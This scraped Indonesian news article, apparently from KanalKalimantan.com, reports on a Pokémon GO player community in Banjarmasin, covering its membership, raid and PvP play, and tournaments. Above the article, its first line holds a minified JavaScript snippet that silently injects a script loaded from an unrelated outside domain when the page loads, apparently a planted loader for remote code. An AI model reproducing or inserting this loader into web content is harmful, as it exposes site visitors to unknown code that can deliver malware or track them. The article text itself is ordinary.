(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Hadir pertengahan 2017 lalu, sebuah permainan realitas bernama Pokémon GO (PoGO) melahirkan banyak penggemar. Di Banjarmasin sendiri, puluhan kelompok  PoGO bermunculan membawa gaya bermain baru kepada kalangan pemain yang didominasi oleh anak muda. Selang dua tahun, kini seluruh kelompok tersebut berkumpul menjadi satu komunitas.
Lukman Huda, ketua kelompok komunitas mengatakan, tercatat 90 anggota sudah tergabung di dalam komunitas PoGO ini yang berdomisili tidak hanya di Banjarmasin, tapi juga ada yang berasal dari Banjarbaru, Sungai Danau, hingga Pelaihari.
Berbeda dengan pola permainan PoGO yang terdahulu dimana para pemain hanya berkeliling untuk berburu Pokémon, kini hadir lebih banyak gaya bermain. Seperti Raid Boss, dimana para pemain bisa berkumpul bersama untuk melawan bos di sebuah Gym, hingga PvP (Player Versus Player). Para pemain bisa saling beradu menandingkan Pokémon miliknya.
Alhasil, pola permainan ini lebih banyak membuat para anggota komunitas sering berkumpul. “Jangankan mingguan, tiap hari juga kita ngumpul. Sebulan sekali  juga ada Community Day. Untuk basecamp kita di Taman Budaya, atau Taman Lalu Lintas,†jelas Lukman.
Dalam tiga bulan terakhir, komunitas ini sudah melakukan empat kali turnamen dan pada turnamen kali ini yang diadakan di Menara Pandang, dibuka langsung oleh Wali Kota Banjarmasin Ibnu Sina.
PoGO sendiri sudah menjadi salah satu permainan yang masuk di jajaran e-sports pada Piala Presiden lalu. Ditambah lagi menurtu Lukman, para peminat e-sport, terutama generasi muda semakin banyak.
Namun yang membuat PoGO berbeda dari e-sports lainnya adalah bahwa para pemain harus bertemu satu sama lain jika ingin melakukan pertandingan. Sehingga hal ini juga tetap membuat pihaknya bisa terus bersosialisasi satu sama lain antar kawan satu kelompok.
“Kita melihat, kalua di sini cari wadah yang memang kita ngumpul, kalau (game) lain kan jarang ada event yang bisa ngumpul. Kalu ini (PoGO) harus datang, kalau tidak datang kita tidak bisa. PvP itu tidak bisa (dimainkan),†terangnya.
Hingga saat ini kelompok ini terus rutin dalam berkumpul dan melakukan agenda serta turnamen yang ada, dengan tujuan agar kelompok mereka bisa terus menembus hingga ranking di tingkat nasional. (mario)
KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More
KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More
KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More
This website uses cookies.